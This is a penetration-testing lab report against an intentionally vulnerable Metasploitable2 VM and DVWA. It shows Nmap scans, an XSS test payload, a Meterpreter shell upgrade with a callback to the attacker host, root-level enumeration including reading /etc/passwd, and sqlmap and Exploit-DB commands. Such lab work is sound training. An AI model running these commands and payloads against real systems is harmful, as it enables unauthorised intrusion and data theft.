Advanced Exploitation, Web Testing & Evidence Collection

Attacker: Kali Linux
Target: Metasploitable2
Target IP: 192.168.56.102
Date: 2025-11-28

STEP-1: Network & Service Enumeration (Nmap)

Command Used: nmap -sC -sV 192.168.56.102

Key Verified Services (Proof)

Port	Service	Version	Risk
21	FTP	vsftpd 2.3.4	Backdoor RCE
22	SSH	OpenSSH 4.7	Weak crypto
23	Telnet	telnetd	Clear-text login
80	HTTP	Apache 2.2.8	Web attacks
139/445	SMB	Samba 3.0.20	Lateral movement
3306	MySQL	5.0.51a	Remote DB access
8180	Tomcat	5.5	RCE risk

Result: Host alive, multiple outdated vulnerable services confirmed.
📁 **GitHub Artifact:** Week-03/scans/nmap_metasploitable2.txt

---

STEP-2: Web Vulnerability Identification (XSS)

Target : http://192.168.56.102/dvwa

Login : admin : password

Payload Tested : <script>alert('XSS')</script>
Result: JavaScript popup displayed → **Reflected XSS Confirmed**

Proof: Browser alert screenshot
📁 Stored in: Week-03/screenshots/

STEP-3: Shell Upgrade → Meterpreter (Post-Exploitation)

Metasploit Module Used

use post/multi/manage/shell_to_meterpreter
set SESSION 1
set LHOST 192.168.56.103
set LPORT 4444
Run

Active Sessions

1 - shell
2 - meterpreter x86/linux

Meterpreter Interaction

sessions 2

STEP-4: Post-Exploitation Enumeration (Proof of Compromise)

Root Privilege

getuid
Server username: root

System Info

sysinfo
Ubuntu 8.04 | Kernel 2.6.24

Network Info

ipconfig
eth0 → 192.168.56.102

File System

pwd
ls

User Enumeration

cat /etc/passwd

Running Processes

Ps

Active Network Connections

netstat -antp

Result:
Full system ownership confirmed with root-level Meterpreter access.

📁 **GitHub Artifact:**
Week-03/exploitation/vsftpd_root_shell.txt

STEP-5: Python PoC Customization (Exploit-DB)

Exploit Download

searchsploit drupal
searchsploit -m 34992.py

Modifications Performed

- Hardcoded target IP: 192.168.56.102
- Adjusted default HTTP port
- Added basic error handling

Execution

python2 34992.py http://192.168.56.102/

Result

[X] NOT Vulnerable :(

Conclusion: Target is not running vulnerable Drupal version.

STEP-6: Web Application Testing (DVWA)

Burp Suite

- Intercepted session cookie:

PHPSESSID=503f167087aa23e91bf270c8f55ed2c6

- Security level tampered: low → high
- SQL request manually modified

sqlmap

sqlmap -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" \
--cookie="PHPSESSID=503f167087aa23e91bf270c8f55ed2c6; security=low" \
--dbs --batch

Databases Found:

- dvwa
- information_schema

📁 **GitHub Artifact:** Week-03/scans/sqlmap_results.txt

STEP-7: Evidence Capture (Forensics)

Network Capture

sudo wireshark
Filter: http
Saved as: traffic.pcapng

SHA-256 Hash Verification

sha256sum traffic.pcapng

Hash Generated:

0da00471d072f9715639167fd15bab901efa92b408d2a5f84b7ea1ba6905383e

Evidence Log

Item	Description	Collected By	Hash

traffic.pca png	HTTP Traffic	VAPT Analys t	0da00471d072f9715639167fd15bab901efa92b408d2a5f 84b7ea1ba6905383e